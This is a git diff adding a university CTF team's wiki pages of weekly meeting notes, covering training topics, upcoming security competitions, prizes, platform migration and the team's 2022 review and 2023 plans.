  • Online tournament registration: 2022-09-30 10:00:00 - 2022-10-27 10:00:00
  • +
  • Online tournament time: 2022-10-29 09:00:00 - 2022-10-30 21:00:00
  • +
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 Last Half/CTF Week Meeting 2022-10-06/index.html b/Meeting/2022 Last Half/CTF Week Meeting 2022-10-06/index.html new file mode 100644 index 000000000..5cd1c33a7 --- /dev/null +++ b/Meeting/2022 Last Half/CTF Week Meeting 2022-10-06/index.html @@ -0,0 +1,8333 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-10-06 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

CTF Week Meeting 2022-10-06

+
    +
  1. Offline activities.
  2. +
  3. CS315 related discussion.
  4. +
  5. Training schedule and our next plans.
  6. +
  7. Upcoming events.
  8. +
+

Offline activities

+

Dinner party

+

Not sure about the exeat recent days.

+

If the time arrangement is fine, let's have our offline activity soon.

+

Honor certificates

+

If you remember about the qwb, our honor certificates are delivered to the university. We have amazing ranks in this game, and congratulations to all participators.

+

We can take a photo together in offline party.

+

USB drive

+

I've updated a vmware pro distribution in the usb drive.

+
    +
  • VMware pro 16.
  • +
  • Win 10 hacking iso.
  • +
  • Kali linux.
  • +
  • Black arch.
  • +
+

If you have other suggestions, please contact me.

+

CS315

+

We have received some suggestions about CS315 recently. The main discussion about the CS315 is listed below:

+
    +
  • In the lab lesson, it's hard to meet TAs and ask questions.
  • +
  • Lab virtual machines are too large, downloading them costs lots of time.
  • +
  • We should update lab vm to recent vulnerabilities.
  • +
+

Prof. Zhang takes lots of effects to make CS315 interesting and worthy. I'm also want to have a valuable chance to introduce CTF. We are updating and improving CS315 these days.

+

If you have any suggestions, please contact us.

+

Training schedule

+

The past 2 weeks are busy and chaotic. I have some family affairs to deal, and got stomach flu these days. Sorry about my absence in the training.

+

We would back to normal after the holiday.

+

Looking forward to sharing and learning with you!

+

Upcoming events

+

XiangYun Cup 3rd

+

https://xiangyuncup.ichunqiu.com/

+

Sign up: 2022-09-30 10:00:00 - 2022-10-27 10:00:00

+

Sign in: 2022-10-29 09:00:00 - 2022-10-30 21:00:00 (Online)

+

Information about recent years' XiangYun Cup:

+
1. Anti-cheating is nothing, no team got banned.
+2. Misc is trash-bin.
+
+

CTFshow noob cup

+

https://ctf.show/challenges

+

The event is over now. But the challenges are great, and we still can submit flag.

+

CyberSecurityRumble CTF

+

https://cybersecurityrumble.de/

+

Online: 2022-10-09 01:00:00 - 2022-10-10 01:00:00

+

The (Cyber) CyberSecurityRumble Germany is back!

+

The CSR this year will be a 24h online Jeopardy style CTF. +Max Team size is 6 Hackers! +Everybody is allowed to participate online.

+

Again we'll have tasks in all categories: pwn, rev, crypto, web, ... from beginner friendly to 31337!

+

Next year we'll hopefully have an onsite final again!

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 Last Half/CTF Week Meeting 2022-10-13/index.html b/Meeting/2022 Last Half/CTF Week Meeting 2022-10-13/index.html new file mode 100644 index 000000000..a74e2c3f0 --- /dev/null +++ b/Meeting/2022 Last Half/CTF Week Meeting 2022-10-13/index.html @@ -0,0 +1,8191 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-10-13 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

CTF Week Meeting 2022-10-13

+
    +
  1. Hackergame 2022.
  2. +
  3. Weekly training and sharing plans.
  4. +
+

Hackergame 2022

+

https://hack.lug.ustc.edu.cn/

+

USTC Hackergame 2022 Official QQ group: 849778309

+

The 9th Annual University of Science and Technology of China Information Security Competition 2022 is about to open. This competition is held online and lasts up to a week, with a gradient of difficulty in the questions. In the main atmosphere of exploring and solving puzzles, contestants will compete with various levels.

+

The competition will improve the quality of the questions while also having a step-by-step guide for newcomers, which will hopefully bring a good competition experience to each contestant. We welcome your active participation and wish you satisfactory results!

+

Weekly training and sharing plans

+

According to the previous schedule, the training plan for this weekend is reverse engineering.

+

Special thanks to the @Frankss for the sharing of GDB and Dynamic Reverse.

+

Reference for this weekend:

+
    +
  • Practical Binary Analysis
  • +
  • https://0xinfection.github.io/reversing/
  • +
+

ASIS CTF Quals 2022

+

https://asisctf.com/

+

The competition starts tomorrow.

+

Rules

+

Each team is only allowed to participate under one name.

+

There is no restriction on the number of team members.

+

If you have questions about tasks, ask moderators in Discord chat or email. No points will be deducted for these questions.

+

If this is the first time you play over, you should know that a flag is a sentence or code that you should find in each level. There is no exact procedure to find them, you have to do several tests and think out of the box to get them. Eventually, you'll understand the dynamics of the CTF and how to quickly solve challenges.

+

If you are sure your flag is true (we mean %100 SURE), but our system does not accept it, inform us via chat.

+

Reporting bugs in the contest infrastructure has a reward.

+

Thou shalt not be a jerk. We are all here to learn something new.

+

Any attempt to disrupting the contest will result in disqualification.

+

We have a dynamic scoreboard. That means the more teams solve a challenge, the less point each team gets. The formula is:Scoring formula

+

All flags must be in this form: ASIS{[0-9a-zA-Z_-]+.!?|}, unless the contrary is stated. Flag example: ASIS{_some_l33t_string_l1k3_7hi5_}

+

There would be at least 16 tasks.

+

You can find the latest news and announcements about this contest on the announcements page.

+

Registration will be open until the end of the game.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 Last Half/CTF Week Meeting 2022-10-27/index.html b/Meeting/2022 Last Half/CTF Week Meeting 2022-10-27/index.html new file mode 100644 index 000000000..d24ac9d6c --- /dev/null +++ b/Meeting/2022 Last Half/CTF Week Meeting 2022-10-27/index.html @@ -0,0 +1,8144 @@ + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-10-27 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+ +
+ + + +
+
+ + + + + + + +

CTF Week Meeting 2022-10-27

+
    +
  1. Xiang Yun Cup Register Finish.
  2. +
  3. Weekly Training and Sharing Plan.
  4. +
  5. Upcoming events.
  6. +
+

Xiang Yun Cup Register Finish

+

https://www.ichunqiu.com/competition/detail/293

+

https://xiangyuncup.ichunqiu.com/

+

There is 1 team:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NoName
1邬一帆
2李照
3朱弘
4严文谦
5朱嘉楠
+

Weekly Training and Sharing Plan

+

Topic: PWN, stack, heap, and kernel.

+

Contents of this weekend:

+
    +
  • Static analysis: basic and module.
  • +
  • Leak libc base.
  • +
  • Get RIP.
  • +
  • Bypass kernel heap protection.
  • +
  • PWN.
  • +
+

The sharing topic would be: how to design a CTF challenge.

+

Upcoming Events

+

Hack.lu CTF 2022

+

https://ctftime.org/event/1727

+

Friday, 28 October 2022, 16:00 UTC — Sunday, 30 October 2022, 16:00 UTC

+

Hack.lu CTF 2022 is organized as usual by FluxFingers, the CTF team of Ruhr-University Bochum (Germany). This will be the 13th Hack.lu CTF held by us.

+

FE-CTF 2022: Cyber Demon

+

https://ctftime.org/event/1776

+

Friday, 28 October 2022, 11:37 UTC — Sunday, 30 October 2022, 12:37 UTC

+

Welcome to Cyber Demon, hacker. Now kill PulseAudio and start pwning, there’s no time to waste! We’re talking total undefined behavior against the forces of GNU with the only thing standing between a shell and a segfault is you – one angry hacker with an editor and a bad attitude.

+

BlueHens CTF 2022

+

https://ctftime.org/event/1738

+

Friday, 28 October 2022, 19:00 UTC — Sunday, 30 October 2022, 19:00 UTC

+

A jeopardy-style CTF organized by the University of Delaware's own CTF team, that covers topics from crypto and pwn to rev and web. High-school, undergraduate, graduate, mixed, and professional teams with up to four members are allowed to compete in separate buckets. This competition is supported by the Electrical and Computer Engineering Department, Center for Cybersecurity, Assurance and Privacy, Trustworthy Computing Group, Cloud Crypto VIP Team, and Cyber Scholars at the University of Delaware. We extend our gratitude to our sponsors listed at the event URL. Registration opens September 2nd.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 Last Half/CTF Week Meeting 2022-11-11/index.html b/Meeting/2022 Last Half/CTF Week Meeting 2022-11-11/index.html new file mode 100644 index 000000000..2e11892f1 --- /dev/null +++ b/Meeting/2022 Last Half/CTF Week Meeting 2022-11-11/index.html @@ -0,0 +1,8235 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-11-11 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+ +
+
+ + + +
+
+ + + + + + + +

CTF Week Meeting 2022-11-11

+
    +
  1. Weekly training for this weekend.
  2. +
  3. Cyber Security Tournament on Dec 3rd - Dec 4th.
  4. +
  5. Upcoming events.
  6. +
+

Weekly training for this weekend

+

Topic: Modern cryptography, ECC, RC4, and AES.

+

Please please please if you want to share some topics, contact me. I've shared by myself for 3 weeks!

+

crypto

+

We will cover the modern part of Cryptography including public key encryption, modern symmetric cryptography, and some mathematics knowledge about the cryptography.

+

If you are interested in the zero-knowledge proof, today we have a lecture about that at 4:00 pm in the 551 meeting room.

+

Cyber Security Tournament on Dec 3rd - Dec 4th

+

poster

+

The idea is a brief now, if you have any challenges want to put in this game, please contact me.

+

The game includes 2 parts:

+
    +
  • Jeopardy about interesting challenges (easy and fun) during 48 hours online.
  • +
  • Attack-with-Defense in an interesting environment, an online game server, for 4 hours.
  • +
+

The prize would include an SSD drive with a penetration environment on it.

+

The game will invite beginners in cybersecurity and everyone who want to have a relaxed weekend. We have 2 goals:

+
    +
  • Provide some interesting events for students, and find our new member.
  • +
  • Invite talented students to join COMPASS.
  • +
+

Upcoming events

+

SECCON CTF 2022 Quals

+

Sat, 12 Nov 2022, 13:00 CST — Sun, 13 Nov 2022, 13:00 CST

+

https://platform.id.seccon.jp/

+

This year, we will hold an online qualification round and on-site finals.

+

The finals will be in Tokyo From Feb. 11 to Feb. 12 and have international and domestic divisions.

+

菜狗杯

+

https://ctf.show/challenges

+

比赛名称:菜狗杯

+

比赛时间:2022年11月11日20时,共48小时

+

比赛类型:个人赛

+

比赛难度:轻轻松松,量大管饱,没有逆向和pwn

+

比赛奖品:菜狗(可绿可粉)

+

非强制规定:有npy人士禁止参加

+

CATCTF

+

WeChat article link

+

Now in the preparation stage, the competition time is undetermined.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 Last Half/CTF Week Meeting 2022-11-18/index.html b/Meeting/2022 Last Half/CTF Week Meeting 2022-11-18/index.html new file mode 100644 index 000000000..437956e6f --- /dev/null +++ b/Meeting/2022 Last Half/CTF Week Meeting 2022-11-18/index.html @@ -0,0 +1,8123 @@ + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-11-11 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

CTF Week Meeting 2022-11-11

+
    +
  1. Get ready to work on our challenge platform.
  2. +
  3. Cyber Security Tournament on Dec 3rd - Dec 4th.
  4. +
  5. Upcoming events.
  6. +
+

Get ready to work on our challenge platform

+

Topic: Modern cryptography, ECC, RC4, and AES.

+

Please please please if you want to share some topics, contact me. I've shared by myself for 3 weeks!

+

crypto

+

We will cover the modern part of Cryptography including public key encryption, modern symmetric cryptography, and some mathematics knowledge about the cryptography.

+

If you are interested in the zero-knowledge proof, today we have a lecture about that at 4:00 pm in the 551 meeting room.

+

Cyber Security Tournament on Dec 3rd - Dec 4th

+

poster

+

The idea is a brief now, if you have any challenges want to put in this game, please contact me.

+

The game includes 2 parts:

+
    +
  • Jeopardy about interesting challenges (easy and fun) during 48 hours online.
  • +
  • Attack-with-Defense in an interesting environment, an online game server, for 4 hours.
  • +
+

The prize would include an SSD drive with a penetration environment on it.

+

The game will invite beginners in cybersecurity and everyone who want to have a relaxed weekend. We have 2 goals:

+
    +
  • Provide some interesting events for students, and find our new member.
  • +
  • Invite talented students to join COMPASS.
  • +
+

Upcoming events

+

SECCON CTF 2022 Quals

+

Sat, 12 Nov 2022, 13:00 CST — Sun, 13 Nov 2022, 13:00 CST

+

https://platform.id.seccon.jp/

+

This year, we will hold an online qualification round and on-site finals.

+

The finals will be in Tokyo From Feb. 11 to Feb. 12 and have international and domestic divisions.

+

菜狗杯

+

https://ctf.show/challenges

+

比赛名称:菜狗杯

+

比赛时间:2022年11月11日20时,共48小时

+

比赛类型:个人赛

+

比赛难度:轻轻松松,量大管饱,没有逆向和pwn

+

比赛奖品:菜狗(可绿可粉)

+

非强制规定:有npy人士禁止参加

+

CATCTF

+

WeChat article link

+

Now in the preparation stage, the competition time is undetermined.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/2022 Last Half/CTF Week Meeting 2022-12-22/index.html b/Meeting/2022 Last Half/CTF Week Meeting 2022-12-22/index.html new file mode 100644 index 000000000..752aee730 --- /dev/null +++ b/Meeting/2022 Last Half/CTF Week Meeting 2022-12-22/index.html @@ -0,0 +1,8317 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2022-12-22 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

CTF Week Meeting 2022-12-22

+
    +
  1. The status of the recently completed competitions and the plans for the new year
  2. +
  3. the list of winners of COMPASS CTF 2022, and the discussion of prizes
  4. +
  5. the exploration of combining CTF with academic research
  6. +
  7. the proposal and implementation of the COMPASS TEAM on various platforms
  8. +
  9. application for COMPASS TEAM's public email address on campus
  10. +
  11. adjustment of training plan during winter break
  12. +
  13. Registration and ranking adjustment of varsity team members after this semester
  14. +
+

0x1. The status of the recently completed competitions and the plans for the new year

+

Competition Summary

+

I just participated in the X-MAS CTF yesterday, and the topic is very difficult, and I am finishing up the related Writeup and summary.

+

Some of the more impressive topics are

+
    +
  1. misc/manipulated
  2. +
+

Until the last step is normal forensic, however, the last step needs to crack KeePass (a password saving database software), the master obtained in the middle is not directly used for decryption, but needs to attack the encryption mode of KeePass2, by giving the KEY HASH of the file and the uncorrupted MASTER KEY, the .kdbx The encrypted data in the file is extracted and deciphered using its own cryptographic scheme.

+
    +
  1. web/elf
  2. +
+

The process of database injection into RCE, the exact implementation I will write in WP.

+

Finally, it is very sad that I am the only one who participated in many of the recent competitions, probably due to the end of the semester. As a member of the CTF team, I hope you can participate in more competitions.

+

Future competitions

+

Jule CTF: As of 12.24.2022 08:00, I have not participated in previous competitions and cannot provide information.

+

Damncon 2022: As of 12.24.2022 23:00, I have not participated in previous tournaments and cannot provide information.

+

Spring Cup Winter 2022: Registration required, tournament as of 12.25.2022 18:00, some great topics were done at the Spring tournament, looking forward to this Winter tournament for students who advanced to expert difficulty.

+

niteCTF: As of 12.26.2022 0:00, a very good race, great experience last year for beginners and advanced difficulty.

+

The above tournaments are the rest of the year's events, and I am immensely looking forward to having you all join me.

+

0x2. the list of winners of COMPASS CTF 2022, and the discussion of prizes

+

In this COMPASS CTF 2022, there were 31 participants who completed at least the check-in questions, and the number of prizes expected to be awarded was 15, but in practice I only collected information from the top 15 participants (i.e., there would be fewer than 15 prizes).

+

I collected a total of 10 winners who were willing to claim their prizes, so some adjustments will be made to the prize list, which is still a work in progress.

+

If you have good ideas for this contest, feel free to give suggestions.

+

Note, this is the list of prizes we started with.

+
    +
  1. 1st place: [¥299] an infiltration system in an SSD that can be used directly for booting.
  2. +
  3. 2nd to 3rd place: [¥88] a USB drive with the infiltration kit installed.
  4. +
  5. Fourth to seventh place:[¥59] Customized T-shirt of COMPASS TEAM.
  6. +
  7. Eighth to fifteenth place:[¥15] COMPASS TEAM stickers.
  8. +
+

Therefore, the original prize budget was ¥1,201, but now the prize budget will be adjusted downward due to the reduction of participants.

+

0x3. the exploration of combining CTF with academic research

+

This is just a preliminary idea, and I'm still trying to explore this route myself.

+

Idea from Hongyi Lu: one could take advantage of the fact that vulnerabilities are often reproduced in CTF to examine the CVE vulnerabilities mentioned in the paper, and perhaps improve on those implementations.

+

For me, it is also very encouraging for people to actively participate in academic research. We often explore new and untouched work in the course of our cybersecurity practice, and these can be part of academic innovation.

+

I will also invite faculty members in the lab who are dedicated to academic work to give some valuable advice and share.

+

0x4. the proposal and implementation of the COMPASS TEAM on various platforms

+

COMPASS TEAM in addition to competition work, our work also includes providing science/teaching/guidance for the field of cyber security so that more people are willing to learn cyber security, and we also hope to get more outstanding students to join COMPASS Lab.

+

As part of COMPASS Lab's promotion and COMPASS TEAM's contribution to cybersecurity, I plan to open COMPASS TEAM accounts on multiple platforms to promote our work.

+

For different social media, I have planned different focuses, and the following accounts are planned now.

+
    +
  1. Zhihu: writeup resolution
  2. +
  3. CSDN/Bokeyuan: reproduce wiki content
  4. +
  5. WeChat public channel: vulnerability analysis and summary
  6. +
  7. Kanxue forum: vulnerability recurrence and research
  8. +
  9. Anquanke: technical summary and tutorial
  10. +
  11. Tik tok: network security tips
  12. +
  13. Twitter: publicity/results sharing
  14. +
  15. Bilibili: CTF science and teaching
  16. +
+

If you have another social platform to recommend, or have suggestions for guidance on our publicity work, welcome to communicate with me.

+

0x5. application for COMPASS TEAM's public email address on campus

+

I am communicating with the Information Center and Ms. Qingxia Li to open a COMPASS TEAM email address, which will hopefully facilitate the promotion of the event and lecture/training publicity afterwards.

+

Since the past, we have been using CRA's public mailbox, which has caused a lot of inconvenience. I hope this work will be convenient for us when it is completed.

+

0x6. adjustment of training plan during winter break

+

During the winter break, I did not schedule a training program.

+

However, there will be several race summaries and reviews, and also some catechisms/videos will be recorded and posted, so you can actively participate if you wish.

+

0x7. Registration and ranking adjustment of varsity team members after this semester

+

After each semester, I recalculate the activity and commitment of the varsity members, hoping that everyone will still maintain their passion for cybersecurity.

+

I'll be adjusting the roster of active and core members, and perhaps the composition of the team as well. I'll get back to you with the results in the next few days.

+

I'll post a question paper later, please submit if you are still interested in the CTF (and active in the CTF).

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Meeting/CTF Week Meeting 2023-01-12/index.html b/Meeting/CTF Week Meeting 2023-01-12/index.html new file mode 100644 index 000000000..41910305b --- /dev/null +++ b/Meeting/CTF Week Meeting 2023-01-12/index.html @@ -0,0 +1,8489 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Week Meeting 2023-01-12 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

CTF Week Meeting 2023-01-12

+

We are happy that we are here in 2023 and thank all members for their efforts in the past year. In the first (actually the second) all-volunteer weekly meeting this year, we will summarize the work and achievements of last year and designate the annual plan for 2023.

+

Work progress tracking

+
    +
  1. COMPASS CTF 2022 - 60%
  2. +
  3. Topic: CTF combined with research - 0% brief idea
  4. +
  5. Multi-platform promotion of COMPASS CTF - 20%
  6. +
  7. ~~COMPASS TEAM's public email - 100% done~~
  8. +
  9. Training plan during winter break - 0%
  10. +
  11. Member adjustment - 25%
  12. +
  13. New Platform GZCTF - 43%
  14. +
  15. Wiki page content adjustment - 20% brief idea
  16. +
  17. CTFtime program: go hard and play CTF - 0% brief idea
  18. +
  19. New Member Recruitment - 0% brief idea
  20. +
  21. Apply for more ports with ITS on the Detroit server - 50%
  22. +
+

What we discussed this week

+
    +
  1. Weekly meeting restructuring
  2. +
  3. Wiki page file structure revision
  4. +
  5. The 2022 year in Review
  6. +
  7. The 2023 year plan
  8. +
  9. Intra-team practice games and upcoming matches
  10. +
+

0x1. Weekly meeting restructuring

+

Perhaps you have noticed that in this weekly meeting, I have restructured the weekly meeting. Based on the results of the previous questionnaire collection, I got some valuable suggestions about the weekly meetings.

+

In the future, I will still use Markdown to design the document, compared to Latex, although Latex has a better presentation, Markdown saves a lot of time in writing the document, and our time is too precious to waste in compiling and adjusting the document, and I will not use PPT for the weekly meeting. The document for the weekly meeting will follow the following format.

+
    +
  1. +

    Work tracking: Many plans that were once confidently ready to be implemented were not completed due to a lack of progress tracking. In future meetings, I will add a progress tracking section to report on the progress of the work.

    +
  2. +
  3. +

    This week's content discussion: Keeping the style of the previous weekly meeting, I will list the discussion items for this week's weekly meeting, and hope to describe the details of each plan and item in detail while synchronizing the content follow-up. This is the discussion session, I hope everyone can actively give suggestions on the plans and matters, more discussion often means better results.

    +
  4. +
  5. +

    Wrap-up (Summary): A final summary of the content of this week's weekly meeting. If you do not have time to attend the weekly meeting discussion and do not intend to read the lengthy details of the discussion items after the weekly meeting, you can quickly follow up on the progress of this week's weekly meeting discussion through the outline and summary of the content discussion.

    +
  6. +
+

0x2. Wiki page file structure revision

+

I have restructured some of the documents, and the main elements include.

+
    +
  1. +

    archived the CS315 file for 2021 and placed it in the 2021 folder.

    +
  2. +
  3. +

    filed the weekly meeting documents for 2022, divided them into two parts, the first half and the second half, and placed them in different folders.

    +
  4. +
+

In addition, some work was done on resizing the images. Git is not a supported binary versioning tool (unlike SVN), our repo is on GitHub, and I am not a paid member of GitHub, so although there is no repository size limit for the free version, I still want to reduce the size of our binary files to reduce the size of our repository I'm not a paid member of GitHub either.

+

The initial work was to resize all the image files to a fraction of their original size and try not to compromise image quality.

+

meeting_2023_01_12_1_hd

+

I hope you can pay attention to the following conventions when submitting a Pull Request.

+
    +
  1. +

    All material files (images, attachments, etc.) should be placed under the assets/ folder as much as possible.

    +
  2. +
  3. +

    For uncompressed high-quality images (such as direct screenshots or downloaded originals), please include the _hd field after the image name so that I can find the image that needs to be compressed when adjusting it.

    +
  4. +
+

Future work related to the wiki.

+
    +
  1. +

    adjust the bilingual language support: Mkdocs natively support multi-language localization, we only used English as a language when creating the wiki, as a first/second language that almost global users know, I considered the convenience. However, our first language is Chinese, and reading English documents is much slower than Chinese documents, I will consider adding Chinese support.

    +
      +
    • Current planned solution: access to DeepL's API to generate a Chinese translation directly. As the Chinese with higher tolerance rate, the level of comprehension through English to Chinese translation will be better.
    • +
    +
  2. +
  3. +

    adjust the content structure: wiki content structure today as a CTF all-in-one reference wiki, but there are still many shortcomings. I hope that while providing toolkits, web resource references, and writeups, more categories can be added to facilitate CTF learning.

    +
  4. +
+

0x3. The 2022 Year in Review

+

We have achieved some results in FY2022, but we also have some unfinished business.

+

Memorable accomplishments.

+
    +
  1. +

    We participated in the "Top Geeks" competition held by the Chengdu government and came in 10th place in the finals.

    +
  2. +
  3. +

    We participated in the "Wangding Cup" competition held by the National Internet Information Office and the Ministry of Public Security, and got 8th place in the preliminary round and advanced to the final round.

    +
  4. +
  5. +

    The HED team won 1st place in the "Winter Competition" of iChunqiu.

    +
  6. +
  7. +

    We participated in the "Student Cyber Security Competition" held by Guangdong Provincial Government and advanced to the final round.

    +
  8. +
  9. +

    In the CTFtime 2022 ranking, the COMPASS team achieved a total score of 83.569, ranking 32nd among Chinese teams.

    +
  10. +
  11. +

    We participated in the "Strong Network Cup" competition held by the State Internet Information Office and the Zhengzhou government, and both teams got the "Strong Network Pioneer" certificate.

    +
  12. +
+

Unfortunately, in 2022, we also have some matters that were once planned to go down the drain and remain unfinished. To review our 2022 objectively and fairly, I would like to summarize this part as well.

+
    +
  1. +

    CTF from practice to principles: I was inspired by Prof. Zhang in early 2022 to compile a book about CTF tutorials for true zero-based CTF beginners to make up for the shortcomings of today's CTF tutorial books that are still too difficult and the knowledge coverage fails to construct a big picture of CTF and network security. Unfortunately, so far I have only completed the outline and part of the first chapter of the book, and I hope to continue this work in 2023.

    +
  2. +
  3. +

    Competition planning for new members: This is one of the main tasks of the varsity team, and despite our intensive weekly training, the number of members participating in competitions is still very insufficient. In the weekly meetings, I synchronize the competitions that will be held soon, but few new members intend to participate.

    +
  4. +
  5. +

    Adjustment of the tournament platform: Unfortunately, although I had planned to adjust the topics and functions of the CTFd platform being used and made some rough proposals, this plan did not come to fruition in the end. After testing the new platform on 2023-01-07, I decided to use GZCTF as our new platform and abandon the original CTFd platform. I will transfer our original questions, entry test questions, and other high-quality tournament questions to GZCTF.

    +
  6. +
  7. +

    Cooperation with the Information Center: At the beginning of the establishment of the varsity team, I communicated quite closely with a colleague from the Information Center ITS, would participate in each other's activities, and achieved some results in the construction of the network security. Unfortunately, after several lengthy and boring communications, annoying network problems, and a change in the attitude of the Information Center towards cyber security, ITS did not participate in many of the subsequent events we held. I regret that COMPASS TEAM's attempts to work with the Information Center to improve campus cybersecurity have largely failed, but I will still try to convince ITS to pursue this effort.

    +
  8. +
+

0x4. The 2023 year plan

+

We've reached 2023, and in a brand new year, it's time to make a new annual plan.

+
    +
  1. +

    CTFtime race plan: In the new year, I will try not to miss any race that has a CTFtime rating, to raise the visibility of COMPASS TEAM on the biggest international platform in the CTF field, and to move towards DEF CON 31 in August.

    +
  2. +
  3. +

    Membership recruitment: We were very lucky to have two extremely talented new members of the class of 2022 join us before we even started our membership recruitment. In 2023, I will adjust the membership recruitment schedule and invite the best members to join us.

    +
  4. +
  5. +

    Cross-platform science and awareness promotion: I am planning to create COMPASS TEAM social media accounts on multiple platforms, and I have chosen different content strategies for each different platform user group. Social media platforms are a great way to get the word out about our work, and those currently planned include.

    +
      +
    • +

      CSDN/Blog Garden: Reprint wiki content

      +
    • +
    • +

      WeChat Public: Vulnerability analysis and summary

      +
    • +
    • +

      Pediy (Kanxue) Forum: vulnerability recurrence and research

      +
    • +
    • +

      Anquanke: technical summaries and tutorials

      +
    • +
    • +

      Tiktok: Network Security Tips

      +
    • +
    • +

      Twitter: publicity/results sharing

      +
    • +
    • +

      Weibo: Activity dynamics and science popularization

      +
    • +
    • +

      Zhihu account: writeup analysis

      +
    • +
    • +

      Bilibili account: CTF science and teaching

      +
    • +
    • +

      52pojie forum: Reverse engineering technologies sharing.

      +
    • +
    +
  6. +
  7. +

    CTF and research content combination: I always aspire to publish academic results, and it is fun to share my brand-new work contribution with others. Before that, I had only done a small amount of scientific work and still knew very little about how to publish a paper. Recently I've been talking with Hongyi Lu about trying to combine CTF content with academic papers. Much of what we are exposed to in CTF (especially in cryptography) seems to be very cutting edge, and I used to think that CTF is not accurate to just reproduce what has already been done. I hope to publish some work in 2023 as I explore the feasibility of combining CTF with research.

    +
  8. +
+

0x5. Intra-team practice games and upcoming matches

+

On-Campus Practice: X-MAS CTF 2022 Repeat

+

Between 2023-01-07 and 2023-01-08, we had an intramural practice session to test the new GZCTF platform, which gave me a very good experience using the platform and confirmed the idea of replacing CTFd with GZCTF.

+

meeting_2023_01_12_2_hd

+

meeting_2023_01_12_3_hd

+

The beta version of the platform is currently open on port 29998 of the Detroit server. When I finish the container revision and title migration work, I will close the CTFd service on port 80 and move GZCTF to port 80. Meanwhile, the GZCTF data of the test period will be retained.

+

A fresh start is the best start, I tend to clear the original user data to start from scratch and build a new and better platform. However, if you wish to keep your former account and keep your former solution records, I will also keep the data for you.

+

For data preservation and migration, please contact email: liz33@mail.sustech.edu.cn, when you send it, you can copy it to Prof. Fengwei Zhang in COMPASS lab: zhangfw@sustech.edu.cn, I will finish the platform migration as soon as possible.

+

idekCTF 2022*

+

Friday, 13 January 2023, 08:00 CST - Sunday, 15 January 2023, 08:00 CST

+

A idekCTF event.

+

Official URL: https://ctf.idek.team/

+

Rating weight: 24.56

+

Event organizers

+ +

NOTE: The start time has been pushed back by 22 hours from what is listed here. The event will begin on Friday, January 13, 2023, at 22:00:00 UTC (1673647200). The event duration is still 48 hours.

+

idekCTF is an information security CTF competition organized by the idek team and is aimed at high school and university students, with difficult challenges catering to more experienced players. idekCTF will cover the standard Jeopardy-style CTF topics (binary exploitation, reverse engineering, cryptography, web exploitation, and forensics) as well as other, less standard categories.

+

Ugra CTF Quals 2023

+

Saturday, 14 January 2023, 15:00 CST - Monday, 16 January 2023, 03:00 CST

+

A Ugra CTF event.

+

Official URL: https://2023.ugractf.ru/

+

Rating weight: 0.00

+

Event organizers

+ +

Ugra CTF Quals 2023 is an open information security competition for beginners. It is a 36-hour online event. Everybody is welcome to participate.

+

